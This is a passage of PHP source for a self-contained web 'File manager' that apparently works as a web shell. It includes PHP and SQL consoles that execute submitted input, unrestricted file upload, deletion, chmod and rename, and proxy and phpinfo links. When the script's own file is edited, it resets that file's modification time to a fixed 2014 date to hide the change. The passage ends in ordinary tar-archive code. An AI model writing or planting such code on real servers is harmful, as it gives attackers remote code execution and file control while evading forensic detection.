<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
<form action="" method="POST" name="console">
<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
<input type="reset" value="<?=__('Reset')?>">
<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
$select .= '<option value="-1">' . __('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$editlink?>">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save" value="<?=__('Submit')?>">
<input type="submit" name="cancel" value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action="" method="post">
<input name="quit" type="hidden" value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit" value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> <?=__('Filename')?> </th>
<th style="white-space:nowrap"> <?=__('Size')?> </th>
<th style="white-space:nowrap"> <?=__('Date')?> </th>
<th style="white-space:nowrap"> <?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/bayu123/blex">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
